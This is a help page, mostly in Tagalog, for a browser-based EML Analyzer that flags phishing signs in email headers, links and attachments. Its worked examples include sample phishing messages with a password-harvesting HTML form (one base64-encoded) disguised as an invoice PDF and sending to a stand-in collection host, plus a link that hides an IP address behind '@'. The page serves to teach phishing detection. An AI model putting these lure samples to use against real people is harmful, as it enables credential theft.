Suriin ang mga rekord ng SPF, DMARC, DKIM, MTA-STS, at BIMI ng isang domain (na may limitasyong 10 lookup).
EML Analyzer
Ang kasangkapan mismo ay nasa Ingles; ipinaliwanag ito ng pahinang ito sa iyong wika.
Gamitin angEML Analyzer
Ano ang ginagawa nito
I-drop ang isang .eml file o i-paste ang pinagmulan ng mensahe upang suriin ang mga header ng nagpadala, ang Received chain, mga link, at mga kalakip. Lahat ito ay tumatakbo sa iyong browser.
Ganap itong tumatakbo sa iyong browser: walang anumang ipinasok mo ang ina-upload.
Paano gamitin ang EML Analyzer
- Kunin ang hilaw na mensahe. I-save ang email bilang .eml o kopyahin ang pinagmulan nito: Gmail Ipakita ang orihinal, Outlook Tingnan ang pinagmulan ng mensahe, Thunderbird o Apple Mail Tingnan ang pinagmulan. Hindi binabasa ang mga .msg file ng Outlook.
- I-load ito. I-drop ang .eml file sa kahon o piliin ito (hanggang 50 MB), o i-paste ang source sa text field (hanggang 5 MB) at pindutin ang Analyze.
- Basahin ang buod. Ang mga natuklasan ay inayos ayon sa mga palatandaan ng panganib, babala, tala, at mga naipasaang tseke. Bawat linya ay naglalahad ng pangalan ng header, link, o kalakip na dokumento kung saan ito nagmula.
- Suriin ang mga detalye. Sa ilalim ng buod ay makikita ang mga sender header, ang mga domain na inihambing sa From domain, ang mga resulta ng authentication, ang Received chain, bawat link, at bawat kalakip.
- Kunin ang mga tagapagpahiwatig. I-tsek ang mga uri ng tagapagpahiwatig na kailangan mo, pagkatapos ay kopyahin sila nang buo o walang nakalantad na nilalaman, i-download bilang .txt file, o gamitin ang 'Ipadala sa'.
Halimbawa
Ginawang mensaheng phishing
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Isang display name na nagpapanggap bilang support@example.com, Reply-To, at DKIM sa iba pang mga domain, pagkabigo ng DMARC, isang link na ang teksto ay nagpapakita ng www.example.com ngunit papunta sa login.example.net, at isang kalakip na invoice.pdf.html na may form para sa password.
Ano ang sinusuri nito
| Sinyales | Ano ang ibig sabihin nito |
|---|---|
| Pangalan na ipapakita kasama ang email address | Panganib kapag ipinapakita ng pangalan ang isang address habang ang tunay na nagpadala ay iba. Madalas ipinapakita lang ng mga mail app ang pangalan. |
| Reply-To sa ibang domain | Babala: ang iyong tugon ay mapupunta sa ibang organisasyon kaysa sa nagpadala. |
| Mga Resulta ng Pagpapatunay | Ang DMARC fail at SPF fail ay mga palatandaan ng panganib; ang SPF softfail at DKIM fail ay mga babala. Tanging ang resulta mula sa iyong sariling provider ang mahalaga. |
| Return-Path at DKIM d= na mga domain | Napapansin kapag hindi sila tumutugma sa From domain. Karaniwan iyon sa mga bulk-mail na serbisyo, ngunit kailangan ng DMARC na magtugma ang isa sa kanila. |
| Natanggap na kadena | Ang mga hop ay inililista nang pinakamatanda muna kasama ang mga pagkaantala. Tinutukoy bilang may problema ang timestamp na mas maaga kaysa sa nakaraang hop, ang pagkaantala na higit sa isang oras, o ang reverse DNS na "maaaring peke." |
| Teksto ng link at patutunguhan | Panganib kapag ang nakikitang teksto ay nagngangalan ng isang domain at ang link ay papunta sa iba, o kapag ang teksto bago ang @ ay nagtatago ng tunay na host. Tinandaan din ang mga purong IP, punycode, mga shortener, at mga nakabalot na link. |
| Mga kalakip | Ang mga dobleng extension, mga file na nagpapatakbo ng code o nagbubukas sa browser, nilalaman na hindi tumutugma sa extension, at mga trick sa right-to-left override ay tinatandaan. Bawat file ay binibigyan ng SHA-256, SHA-1, at MD5. |
| Mga porma at mga script sa HTML | Ang isang form na may patlang para sa password sa katawan o sa isang kalakip ay isang palatandaan ng panganib. Ang script code sa loob ng kalakip ay isang babala. |
Karagdagang mga halimbawa
Isang link na nagtatago ng IP address
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 palatandaan ng panganib, "1 link: ang teksto bago ang '@' ay hindi pinapansin: ang tunay na host ay 203.0.113.7", at 1 babala, "1 link: ang link ay papunta sa isang purong IP address". Ipinapakita ng talahanayan ng mga link ang nakadisarmang address sa tabi ng teksto nito, I-upgrade ang imbakan.
Isang pahina ng HTML na nagpapanggap na PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 palatandaan ng panganib: ang kalakip na invoice.pdf ay "naglalaman ng isang form na may patlang para sa password", at ang "laman nito ay HTML na dokumento, hindi .pdf". Ipinapakita ng card ng kalakip ang Laman: HTML na dokumento at tatlong hash; ang talahanayan ng Mga Link ay naglista ng target ng form na may "ang form ay nagpapadala ng datos sa address na ito".
Madalas na tanong
Ano ang sinusuri ng EML Analyzer?
I-decode nito ang mga header at bawat bahagi ng MIME, ikinukumpara ang mga domain ng From, Reply-To, Return-Path, DKIM d= at Message-ID, at binabasa ang Authentication-Results. Ina-list din nito ang mga Received hop kasama ang kanilang mga pagkaantala, bawat link kasama ang nakikitang teksto nito, at ang SHA-256, SHA-1, at MD5 ng bawat kalakip na file.
Maaari bang patunayan kung ang isang email ay phishing, o kung ito ay ligtas?
Hindi. Ipinapakita nito ang mga katotohanan at mga babala, hindi isang hatol: ang lehitimong bulk mail ay madalas na may ibang Return-Path o DKIM domain, at nakalista ang mga pirma ng DKIM ngunit hindi ito beripikado nang kriptograpiko. Hindi sinusuportahan ang mga .msg file ng Outlook; i-save muna ang mensahe bilang .eml.
May na-upload ba na email kahit saan?
Hindi. Binabasa at pinoproseso ang file sa iyong browser, ipinapakita ang HTML bilang teksto at hindi kailanman nirere-render, at wala itong ipinapadala sa network. Ang pindutang "Ipadala sa" ay nagpapasa ng resulta sa isa pang pahina ng tool sa pamamagitan ng session storage ng iyong browser.
Alin sa mga Authentication-Results header ang pinaniniwalaan nito?
Ang isa ay idinagdag ng sarili mong sistema ng koreo, kinikilala mula sa hanay ng Received at minarkahang "idinagdag ng server ng tumatanggap". Ang mga header sa ibaba ng mensahe ay maaaring isulat ng nagpadala, kaya sinasabi ng pahina na magtiwala ka lamang sa resulta ng iyong provider.
Maaari ba nitong buksan ang isang email na nakalakip sa isa pang email?
Oo. Nakalista ang kalakip na mensahe kasama ang mga hash nito at ang button na "Suriin ang kalakip na mensahe" na nagbubukas nito sa parehong tanawin. Ang "Bumalik sa panlabas na mensahe" ay magbabalik sa iyo.
Bakit nawawala ang ilang IP address sa mga tagapagpahiwatig?
Hindi isinasama ang mga pribado at lokal na address pati na rin ang mga hop sa loob ng sariling mail system ng tatanggap, dahil hindi ito tumuturo sa mga server ng nagpadala. Hindi rin kailanman isinasama ang mga email address ng tatanggap.